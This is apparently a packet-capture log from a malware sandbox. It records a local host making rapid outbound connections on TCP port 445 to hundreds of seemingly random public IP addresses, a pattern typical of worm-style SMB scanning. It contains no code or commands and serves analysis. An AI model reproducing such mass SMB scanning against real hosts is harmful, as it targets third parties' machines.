Jul 20, 2022 15:45:37.654365063 CEST	53912	445	192.168.2.7	26.92.128.21
Jul 20, 2022 15:45:37.667908907 CEST	53913	445	192.168.2.7	42.92.140.239
Jul 20, 2022 15:45:37.668957949 CEST	53914	445	192.168.2.7	195.175.203.109
Jul 20, 2022 15:45:37.669070959 CEST	53915	445	192.168.2.7	199.221.56.113
Jul 20, 2022 15:45:37.669240952 CEST	53917	445	192.168.2.7	206.50.52.115
Jul 20, 2022 15:45:37.669461012 CEST	53921	445	192.168.2.7	25.7.134.251
Jul 20, 2022 15:45:37.764441013 CEST	53861	445	192.168.2.7	140.186.84.238
Jul 20, 2022 15:45:37.911915064 CEST	445	53861	140.186.84.238	192.168.2.7
Jul 20, 2022 15:45:38.147990942 CEST	53925	445	192.168.2.7	107.186.141.22
Jul 20, 2022 15:45:38.152596951 CEST	53926	445	192.168.2.7	30.229.94.171
Jul 20, 2022 15:45:38.155139923 CEST	53930	445	192.168.2.7	17.31.237.111
Jul 20, 2022 15:45:38.269303083 CEST	53935	445	192.168.2.7	214.229.132.134
Jul 20, 2022 15:45:38.291954041 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:38.293483019 CEST	53880	445	192.168.2.7	91.217.156.165
Jul 20, 2022 15:45:38.386055946 CEST	445	53880	91.217.156.165	192.168.2.7
Jul 20, 2022 15:45:38.401297092 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:38.574645996 CEST	53937	445	192.168.2.7	65.184.107.106
Jul 20, 2022 15:45:38.575233936 CEST	53938	445	192.168.2.7	49.213.35.236
Jul 20, 2022 15:45:38.576052904 CEST	53939	445	192.168.2.7	222.58.218.205
Jul 20, 2022 15:45:38.576682091 CEST	53940	445	192.168.2.7	108.168.75.234
Jul 20, 2022 15:45:38.577429056 CEST	53941	445	192.168.2.7	4.8.105.114
Jul 20, 2022 15:45:38.653546095 CEST	53943	445	192.168.2.7	66.52.142.226
Jul 20, 2022 15:45:38.653978109 CEST	53945	445	192.168.2.7	218.170.227.32
Jul 20, 2022 15:45:38.672709942 CEST	53950	445	192.168.2.7	191.178.16.91
Jul 20, 2022 15:45:38.674139977 CEST	53952	445	192.168.2.7	180.72.100.61
Jul 20, 2022 15:45:38.675051928 CEST	53953	445	192.168.2.7	120.93.219.223
Jul 20, 2022 15:45:38.675877094 CEST	53954	445	192.168.2.7	10.233.218.93
Jul 20, 2022 15:45:38.680047989 CEST	53960	445	192.168.2.7	60.64.4.15
Jul 20, 2022 15:45:38.680741072 CEST	53961	445	192.168.2.7	116.137.196.147
Jul 20, 2022 15:45:38.681379080 CEST	53962	445	192.168.2.7	60.217.247.230
Jul 20, 2022 15:45:38.764570951 CEST	53964	445	192.168.2.7	157.237.41.114
Jul 20, 2022 15:45:38.765959978 CEST	53965	445	192.168.2.7	15.227.63.22
Jul 20, 2022 15:45:38.766076088 CEST	53968	445	192.168.2.7	210.122.114.96
Jul 20, 2022 15:45:38.782581091 CEST	53973	445	192.168.2.7	11.104.165.55
Jul 20, 2022 15:45:38.783023119 CEST	53974	445	192.168.2.7	132.20.146.150
Jul 20, 2022 15:45:38.783025980 CEST	53975	445	192.168.2.7	170.43.62.221
Jul 20, 2022 15:45:38.783138037 CEST	53977	445	192.168.2.7	33.220.34.197
Jul 20, 2022 15:45:38.783404112 CEST	53983	445	192.168.2.7	50.204.152.214
Jul 20, 2022 15:45:38.783524990 CEST	53981	445	192.168.2.7	180.192.3.171
Jul 20, 2022 15:45:38.783524990 CEST	53984	445	192.168.2.7	193.220.132.35
Jul 20, 2022 15:45:38.783613920 CEST	53986	445	192.168.2.7	84.54.201.21
Jul 20, 2022 15:45:38.893331051 CEST	445	53983	50.204.152.214	192.168.2.7
Jul 20, 2022 15:45:39.214929104 CEST	53989	445	192.168.2.7	107.186.141.23
Jul 20, 2022 15:45:39.246201992 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.286973000 CEST	53992	445	192.168.2.7	191.18.43.166
Jul 20, 2022 15:45:39.290658951 CEST	53996	445	192.168.2.7	96.187.172.204
Jul 20, 2022 15:45:39.328521013 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.328704119 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.328932047 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.387046099 CEST	53997	445	192.168.2.7	67.147.151.194
Jul 20, 2022 15:45:39.401400089 CEST	53983	445	192.168.2.7	50.204.152.214
Jul 20, 2022 15:45:39.413825035 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.416656971 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.419325113 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.504935026 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.513430119 CEST	445	53983	50.204.152.214	192.168.2.7
Jul 20, 2022 15:45:39.519846916 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.603085041 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.603319883 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.683095932 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.683960915 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.687262058 CEST	54003	445	192.168.2.7	67.27.56.138
Jul 20, 2022 15:45:39.687366962 CEST	54004	445	192.168.2.7	120.50.37.70
Jul 20, 2022 15:45:39.687369108 CEST	54006	445	192.168.2.7	172.62.23.188
Jul 20, 2022 15:45:39.687530994 CEST	54005	445	192.168.2.7	128.234.7.200
Jul 20, 2022 15:45:39.687546015 CEST	54007	445	192.168.2.7	99.138.171.155
Jul 20, 2022 15:45:39.760309935 CEST	54009	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:39.762761116 CEST	54011	445	192.168.2.7	78.147.205.222
Jul 20, 2022 15:45:39.767047882 CEST	445	53990	188.18.139.56	192.168.2.7
Jul 20, 2022 15:45:39.767147064 CEST	53990	445	192.168.2.7	188.18.139.56
Jul 20, 2022 15:45:39.769117117 CEST	54012	445	192.168.2.7	147.31.73.123
Jul 20, 2022 15:45:39.797147036 CEST	54016	445	192.168.2.7	170.45.181.113
Jul 20, 2022 15:45:39.799103975 CEST	54019	445	192.168.2.7	113.41.244.224
Jul 20, 2022 15:45:39.799839020 CEST	54020	445	192.168.2.7	150.232.2.241
Jul 20, 2022 15:45:39.800523996 CEST	54021	445	192.168.2.7	143.17.244.217
Jul 20, 2022 15:45:39.816294909 CEST	54027	445	192.168.2.7	114.192.50.199
Jul 20, 2022 15:45:39.816431046 CEST	54028	445	192.168.2.7	62.109.173.58
Jul 20, 2022 15:45:39.816584110 CEST	54030	445	192.168.2.7	101.62.19.254
Jul 20, 2022 15:45:39.860002041 CEST	445	54009	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:39.860165119 CEST	54009	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:39.860214949 CEST	54009	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:39.863578081 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:39.890433073 CEST	54032	445	192.168.2.7	91.105.4.53
Jul 20, 2022 15:45:39.892525911 CEST	54035	445	192.168.2.7	44.20.252.192
Jul 20, 2022 15:45:39.892561913 CEST	54036	445	192.168.2.7	171.134.161.10
Jul 20, 2022 15:45:39.908472061 CEST	54041	445	192.168.2.7	92.252.17.150
Jul 20, 2022 15:45:39.910883904 CEST	54042	445	192.168.2.7	70.40.215.5
Jul 20, 2022 15:45:39.910953999 CEST	54044	445	192.168.2.7	9.123.224.147
Jul 20, 2022 15:45:39.911115885 CEST	54046	445	192.168.2.7	22.88.5.15
Jul 20, 2022 15:45:39.911185026 CEST	54048	445	192.168.2.7	222.114.245.106
Jul 20, 2022 15:45:39.911545038 CEST	54053	445	192.168.2.7	122.210.142.217
Jul 20, 2022 15:45:39.911564112 CEST	54054	445	192.168.2.7	153.98.56.210
Jul 20, 2022 15:45:39.950777054 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:39.950970888 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:39.951527119 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:39.955624104 CEST	445	54009	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:39.963423014 CEST	445	54009	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:39.963586092 CEST	54009	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:40.042908907 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:40.046972990 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:40.047602892 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:40.139769077 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:40.140144110 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:40.210021019 CEST	445	53992	191.18.43.166	192.168.2.7
Jul 20, 2022 15:45:40.230808973 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:40.231620073 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:40.295963049 CEST	54057	445	192.168.2.7	107.186.141.24
Jul 20, 2022 15:45:40.319736958 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:40.320498943 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:40.404079914 CEST	54059	445	192.168.2.7	149.57.193.224
Jul 20, 2022 15:45:40.406656981 CEST	54063	445	192.168.2.7	98.217.174.200
Jul 20, 2022 15:45:40.411744118 CEST	445	54031	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:40.412240982 CEST	54031	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:40.511744022 CEST	54064	445	192.168.2.7	1.90.0.32
Jul 20, 2022 15:45:40.793488979 CEST	54070	445	192.168.2.7	87.62.32.188
Jul 20, 2022 15:45:40.795089006 CEST	54072	445	192.168.2.7	165.180.183.163
Jul 20, 2022 15:45:40.795881033 CEST	54073	445	192.168.2.7	185.121.198.156
Jul 20, 2022 15:45:40.797107935 CEST	54074	445	192.168.2.7	145.2.111.62
Jul 20, 2022 15:45:40.797225952 CEST	54075	445	192.168.2.7	97.227.26.252
Jul 20, 2022 15:45:40.884573936 CEST	54076	445	192.168.2.7	98.32.143.42
Jul 20, 2022 15:45:40.885320902 CEST	54078	445	192.168.2.7	20.246.157.106
Jul 20, 2022 15:45:40.921730995 CEST	54082	445	192.168.2.7	133.62.222.113
Jul 20, 2022 15:45:40.925520897 CEST	54083	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:40.925971031 CEST	54085	445	192.168.2.7	156.170.20.73
Jul 20, 2022 15:45:40.926081896 CEST	54087	445	192.168.2.7	198.100.85.230
Jul 20, 2022 15:45:40.926134109 CEST	54088	445	192.168.2.7	114.187.105.104
Jul 20, 2022 15:45:40.933737040 CEST	54091	445	192.168.2.7	163.41.174.101
Jul 20, 2022 15:45:40.935254097 CEST	54093	445	192.168.2.7	198.95.231.167
Jul 20, 2022 15:45:40.937155962 CEST	54094	445	192.168.2.7	93.103.216.28
Jul 20, 2022 15:45:41.032450914 CEST	54102	445	192.168.2.7	134.206.108.180
Jul 20, 2022 15:45:41.052731991 CEST	54103	445	192.168.2.7	14.178.220.105
Jul 20, 2022 15:45:41.053035975 CEST	54106	445	192.168.2.7	116.230.25.10
Jul 20, 2022 15:45:41.053258896 CEST	54109	445	192.168.2.7	150.208.75.144
Jul 20, 2022 15:45:41.053297997 CEST	54108	445	192.168.2.7	179.245.53.93
Jul 20, 2022 15:45:41.053431988 CEST	54111	445	192.168.2.7	21.231.112.16
Jul 20, 2022 15:45:41.053534985 CEST	54113	445	192.168.2.7	80.225.84.220
Jul 20, 2022 15:45:41.053699970 CEST	54117	445	192.168.2.7	84.53.219.189
Jul 20, 2022 15:45:41.053841114 CEST	54118	445	192.168.2.7	50.196.43.58
Jul 20, 2022 15:45:41.053991079 CEST	54119	445	192.168.2.7	92.94.239.112
Jul 20, 2022 15:45:41.056723118 CEST	54120	445	192.168.2.7	67.228.103.5
Jul 20, 2022 15:45:41.128597021 CEST	445	54117	84.53.219.189	192.168.2.7
Jul 20, 2022 15:45:41.371624947 CEST	54123	445	192.168.2.7	107.186.141.25
Jul 20, 2022 15:45:41.518704891 CEST	445	53825	199.235.89.169	192.168.2.7
Jul 20, 2022 15:45:41.527997971 CEST	54125	445	192.168.2.7	119.142.245.76
Jul 20, 2022 15:45:41.530941963 CEST	54129	445	192.168.2.7	171.54.252.82
Jul 20, 2022 15:45:41.639358044 CEST	54134	445	192.168.2.7	104.80.16.4
Jul 20, 2022 15:45:41.792282104 CEST	54117	445	192.168.2.7	84.53.219.189
Jul 20, 2022 15:45:41.865750074 CEST	445	54117	84.53.219.189	192.168.2.7
Jul 20, 2022 15:45:41.919775963 CEST	54137	445	192.168.2.7	195.231.10.192
Jul 20, 2022 15:45:41.922214985 CEST	54140	445	192.168.2.7	179.177.162.158
Jul 20, 2022 15:45:41.923074007 CEST	54141	445	192.168.2.7	3.102.175.134
Jul 20, 2022 15:45:41.923775911 CEST	54139	445	192.168.2.7	164.150.129.245
Jul 20, 2022 15:45:41.923894882 CEST	54142	445	192.168.2.7	55.53.195.137
Jul 20, 2022 15:45:41.997566938 CEST	54144	445	192.168.2.7	102.182.20.60
Jul 20, 2022 15:45:41.998100996 CEST	54145	445	192.168.2.7	161.44.215.110
Jul 20, 2022 15:45:42.030790091 CEST	54149	445	192.168.2.7	158.230.244.11
Jul 20, 2022 15:45:42.032268047 CEST	54152	445	192.168.2.7	148.40.177.184
Jul 20, 2022 15:45:42.034086943 CEST	54154	445	192.168.2.7	188.42.97.76
Jul 20, 2022 15:45:42.035339117 CEST	54153	445	192.168.2.7	68.180.6.113
Jul 20, 2022 15:45:42.062638044 CEST	54157	445	192.168.2.7	132.217.40.150
Jul 20, 2022 15:45:42.063736916 CEST	54159	445	192.168.2.7	36.0.92.144
Jul 20, 2022 15:45:42.066494942 CEST	54163	445	192.168.2.7	22.98.140.40
Jul 20, 2022 15:45:42.163186073 CEST	54168	445	192.168.2.7	133.232.139.98
Jul 20, 2022 15:45:42.176486015 CEST	54169	445	192.168.2.7	64.12.175.92
Jul 20, 2022 15:45:42.176629066 CEST	54171	445	192.168.2.7	13.63.42.241
Jul 20, 2022 15:45:42.176650047 CEST	54170	445	192.168.2.7	215.115.205.185
Jul 20, 2022 15:45:42.176666975 CEST	54172	445	192.168.2.7	98.20.47.139
Jul 20, 2022 15:45:42.176923037 CEST	54177	445	192.168.2.7	95.37.133.111
Jul 20, 2022 15:45:42.177056074 CEST	54180	445	192.168.2.7	2.7.179.37
Jul 20, 2022 15:45:42.177066088 CEST	54179	445	192.168.2.7	190.227.1.119
Jul 20, 2022 15:45:42.177187920 CEST	54181	445	192.168.2.7	95.209.217.82
Jul 20, 2022 15:45:42.177310944 CEST	54184	445	192.168.2.7	99.4.210.121
Jul 20, 2022 15:45:42.177383900 CEST	54185	445	192.168.2.7	79.54.238.164
Jul 20, 2022 15:45:42.330933094 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.330975056 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.331062078 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.332108021 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.332132101 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.448571920 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.448673964 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.663413048 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.663450956 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.663734913 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.672648907 CEST	54190	445	192.168.2.7	107.186.141.26
Jul 20, 2022 15:45:42.674164057 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.674235106 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.674259901 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.674420118 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:42.705344915 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.705446959 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:42.705651999 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:43.003247023 CEST	54188	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:45:43.003284931 CEST	443	54188	20.199.120.85	192.168.2.7
Jul 20, 2022 15:45:43.005009890 CEST	54191	445	192.168.2.7	50.60.54.155
Jul 20, 2022 15:45:43.007509947 CEST	54196	445	192.168.2.7	190.27.77.212
Jul 20, 2022 15:45:43.009579897 CEST	54200	445	192.168.2.7	12.140.175.171
Jul 20, 2022 15:45:43.112385988 CEST	54202	445	192.168.2.7	166.115.238.250
Jul 20, 2022 15:45:43.114691019 CEST	54204	445	192.168.2.7	110.27.124.182
Jul 20, 2022 15:45:43.115489006 CEST	54205	445	192.168.2.7	36.107.60.117
Jul 20, 2022 15:45:43.123326063 CEST	54206	445	192.168.2.7	125.139.64.206
Jul 20, 2022 15:45:43.128927946 CEST	54207	445	192.168.2.7	149.91.20.78
Jul 20, 2022 15:45:43.129766941 CEST	54211	445	192.168.2.7	48.202.123.87
Jul 20, 2022 15:45:43.129900932 CEST	54212	445	192.168.2.7	94.181.196.101
Jul 20, 2022 15:45:43.207613945 CEST	445	54196	190.27.77.212	192.168.2.7
Jul 20, 2022 15:45:43.230029106 CEST	54213	445	192.168.2.7	117.242.11.251
Jul 20, 2022 15:45:43.231091976 CEST	54215	445	192.168.2.7	156.62.54.224
Jul 20, 2022 15:45:43.233376026 CEST	54219	445	192.168.2.7	80.85.59.35
Jul 20, 2022 15:45:43.235270023 CEST	54223	445	192.168.2.7	101.172.199.30
Jul 20, 2022 15:45:43.236758947 CEST	54226	445	192.168.2.7	213.78.122.180
Jul 20, 2022 15:45:43.237282991 CEST	54227	445	192.168.2.7	181.6.63.165
Jul 20, 2022 15:45:43.237799883 CEST	54228	445	192.168.2.7	202.221.96.237
Jul 20, 2022 15:45:43.346220016 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.348362923 CEST	54234	445	192.168.2.7	39.36.225.150
Jul 20, 2022 15:45:43.349734068 CEST	54236	445	192.168.2.7	89.195.29.93
Jul 20, 2022 15:45:43.350474119 CEST	54237	445	192.168.2.7	13.86.54.190
Jul 20, 2022 15:45:43.352509022 CEST	54239	445	192.168.2.7	5.206.43.19
Jul 20, 2022 15:45:43.353940010 CEST	54240	445	192.168.2.7	46.243.28.62
Jul 20, 2022 15:45:43.359337091 CEST	54243	445	192.168.2.7	99.112.200.94
Jul 20, 2022 15:45:43.362015009 CEST	54247	445	192.168.2.7	137.33.225.22
Jul 20, 2022 15:45:43.362750053 CEST	54248	445	192.168.2.7	153.10.129.11
Jul 20, 2022 15:45:43.363476038 CEST	54249	445	192.168.2.7	137.172.82.130
Jul 20, 2022 15:45:43.364137888 CEST	54250	445	192.168.2.7	132.131.52.77
Jul 20, 2022 15:45:43.366689920 CEST	54254	445	192.168.2.7	215.238.232.253
Jul 20, 2022 15:45:43.431638002 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.431885958 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.444392920 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.533332109 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.533365011 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.533544064 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.623440027 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.694190979 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.785680056 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.792527914 CEST	54196	445	192.168.2.7	190.27.77.212
Jul 20, 2022 15:45:43.820378065 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.821222067 CEST	54257	445	192.168.2.7	107.186.141.27
Jul 20, 2022 15:45:43.907779932 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.907918930 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:43.992088079 CEST	445	54196	190.27.77.212	192.168.2.7
Jul 20, 2022 15:45:43.996012926 CEST	445	54231	188.18.139.57	192.168.2.7
Jul 20, 2022 15:45:43.996157885 CEST	54231	445	192.168.2.7	188.18.139.57
Jul 20, 2022 15:45:44.105046988 CEST	54083	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:44.604954004 CEST	54196	445	192.168.2.7	190.27.77.212
Jul 20, 2022 15:45:44.796189070 CEST	54259	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:44.806469917 CEST	445	54196	190.27.77.212	192.168.2.7
Jul 20, 2022 15:45:44.891875982 CEST	445	54259	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:44.892143011 CEST	54259	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:44.895692110 CEST	54259	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:44.897181988 CEST	54261	445	192.168.2.7	55.151.90.72
Jul 20, 2022 15:45:44.898278952 CEST	54263	445	192.168.2.7	107.186.141.28
Jul 20, 2022 15:45:44.901649952 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:44.904407024 CEST	54265	445	192.168.2.7	89.105.12.154
Jul 20, 2022 15:45:44.905473948 CEST	54267	445	192.168.2.7	69.185.91.163
Jul 20, 2022 15:45:44.906716108 CEST	54269	445	192.168.2.7	15.191.178.61
Jul 20, 2022 15:45:44.908612967 CEST	54273	445	192.168.2.7	218.245.35.104
Jul 20, 2022 15:45:44.910517931 CEST	54277	445	192.168.2.7	137.20.212.115
Jul 20, 2022 15:45:44.911870003 CEST	54280	445	192.168.2.7	153.217.86.15
Jul 20, 2022 15:45:44.912353992 CEST	54281	445	192.168.2.7	188.117.100.84
Jul 20, 2022 15:45:44.912858963 CEST	54282	445	192.168.2.7	115.75.211.81
Jul 20, 2022 15:45:44.914271116 CEST	54285	445	192.168.2.7	54.212.228.51
Jul 20, 2022 15:45:44.914947987 CEST	54286	445	192.168.2.7	101.182.207.181
Jul 20, 2022 15:45:44.916845083 CEST	54290	445	192.168.2.7	221.3.97.4
Jul 20, 2022 15:45:44.917326927 CEST	54291	445	192.168.2.7	120.40.117.34
Jul 20, 2022 15:45:44.917911053 CEST	54292	445	192.168.2.7	68.147.121.70
Jul 20, 2022 15:45:44.918870926 CEST	54294	445	192.168.2.7	162.250.94.156
Jul 20, 2022 15:45:44.919358969 CEST	54295	445	192.168.2.7	146.116.82.26
Jul 20, 2022 15:45:44.919878006 CEST	54296	445	192.168.2.7	7.10.21.77
Jul 20, 2022 15:45:44.922177076 CEST	54301	445	192.168.2.7	73.50.242.206
Jul 20, 2022 15:45:44.923818111 CEST	54304	445	192.168.2.7	218.253.71.118
Jul 20, 2022 15:45:44.987981081 CEST	445	54259	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:44.991971970 CEST	445	54259	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:44.992149115 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:44.992162943 CEST	54259	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:44.992291927 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.012670994 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.024724960 CEST	54305	445	192.168.2.7	173.82.117.64
Jul 20, 2022 15:45:45.028172016 CEST	54309	445	192.168.2.7	46.107.32.116
Jul 20, 2022 15:45:45.028381109 CEST	54313	445	192.168.2.7	48.14.243.127
Jul 20, 2022 15:45:45.028462887 CEST	54315	445	192.168.2.7	28.93.134.28
Jul 20, 2022 15:45:45.028578997 CEST	54316	445	192.168.2.7	76.153.36.36
Jul 20, 2022 15:45:45.028669119 CEST	54318	445	192.168.2.7	12.184.210.44
Jul 20, 2022 15:45:45.028800011 CEST	54321	445	192.168.2.7	12.249.240.94
Jul 20, 2022 15:45:45.028968096 CEST	54325	445	192.168.2.7	57.243.193.129
Jul 20, 2022 15:45:45.029073000 CEST	54326	445	192.168.2.7	73.25.150.225
Jul 20, 2022 15:45:45.112324953 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:45.140254021 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:45.163079977 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.189038038 CEST	445	54282	115.75.211.81	192.168.2.7
Jul 20, 2022 15:45:45.257862091 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:45.275429010 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.365624905 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:45.366292953 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.456259012 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:45.586931944 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.676347971 CEST	445	54264	188.18.139.58	192.168.2.7
Jul 20, 2022 15:45:45.676635981 CEST	54264	445	192.168.2.7	188.18.139.58
Jul 20, 2022 15:45:45.792607069 CEST	54282	445	192.168.2.7	115.75.211.81
Jul 20, 2022 15:45:46.068928003 CEST	445	54282	115.75.211.81	192.168.2.7
Jul 20, 2022 15:45:46.605143070 CEST	54282	445	192.168.2.7	115.75.211.81
Jul 20, 2022 15:45:46.882328987 CEST	445	54282	115.75.211.81	192.168.2.7
Jul 20, 2022 15:45:47.195621014 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:47.289803028 CEST	54330	445	192.168.2.7	107.186.141.29
Jul 20, 2022 15:45:47.294373035 CEST	54331	445	192.168.2.7	199.87.5.226
Jul 20, 2022 15:45:47.323875904 CEST	54336	445	192.168.2.7	42.111.154.46
Jul 20, 2022 15:45:47.415543079 CEST	54337	445	192.168.2.7	158.161.235.183
Jul 20, 2022 15:45:47.415746927 CEST	54339	445	192.168.2.7	72.162.36.8
Jul 20, 2022 15:45:47.415946960 CEST	54342	445	192.168.2.7	66.23.134.157
Jul 20, 2022 15:45:47.417161942 CEST	54347	445	192.168.2.7	198.134.196.13
Jul 20, 2022 15:45:47.417287111 CEST	54348	445	192.168.2.7	156.135.41.217
Jul 20, 2022 15:45:47.417414904 CEST	54349	445	192.168.2.7	137.198.130.249
Jul 20, 2022 15:45:47.417562008 CEST	54351	445	192.168.2.7	125.249.18.74
Jul 20, 2022 15:45:47.419599056 CEST	54352	445	192.168.2.7	141.139.127.252
Jul 20, 2022 15:45:47.419775009 CEST	54353	445	192.168.2.7	135.99.191.168
Jul 20, 2022 15:45:47.419956923 CEST	54355	445	192.168.2.7	157.234.165.37
Jul 20, 2022 15:45:47.420188904 CEST	54357	445	192.168.2.7	171.18.210.175
Jul 20, 2022 15:45:47.420531034 CEST	54363	445	192.168.2.7	122.52.143.139
Jul 20, 2022 15:45:47.420702934 CEST	54365	445	192.168.2.7	164.47.16.236
Jul 20, 2022 15:45:47.420906067 CEST	54368	445	192.168.2.7	58.195.155.229
Jul 20, 2022 15:45:47.421030998 CEST	54369	445	192.168.2.7	173.82.179.212
Jul 20, 2022 15:45:47.421137094 CEST	54370	445	192.168.2.7	83.242.89.28
Jul 20, 2022 15:45:47.421369076 CEST	54373	445	192.168.2.7	13.172.136.232
Jul 20, 2022 15:45:47.437859058 CEST	54378	445	192.168.2.7	21.111.43.204
Jul 20, 2022 15:45:47.438189983 CEST	54382	445	192.168.2.7	137.25.133.88
Jul 20, 2022 15:45:47.438354015 CEST	54384	445	192.168.2.7	130.252.76.61
Jul 20, 2022 15:45:47.438498974 CEST	54385	445	192.168.2.7	151.183.70.215
Jul 20, 2022 15:45:47.438668013 CEST	54387	445	192.168.2.7	100.82.169.200
Jul 20, 2022 15:45:47.438889027 CEST	54390	445	192.168.2.7	90.90.35.247
Jul 20, 2022 15:45:47.439174891 CEST	54394	445	192.168.2.7	154.169.220.200
Jul 20, 2022 15:45:47.439301968 CEST	54395	445	192.168.2.7	33.33.186.61
Jul 20, 2022 15:45:47.439466000 CEST	54397	445	192.168.2.7	50.126.71.103
Jul 20, 2022 15:45:48.391292095 CEST	54399	445	192.168.2.7	107.186.141.30
Jul 20, 2022 15:45:48.443445921 CEST	54400	445	192.168.2.7	41.81.121.207
Jul 20, 2022 15:45:48.589454889 CEST	54406	445	192.168.2.7	176.123.38.110
Jul 20, 2022 15:45:48.589577913 CEST	54410	445	192.168.2.7	186.241.117.174
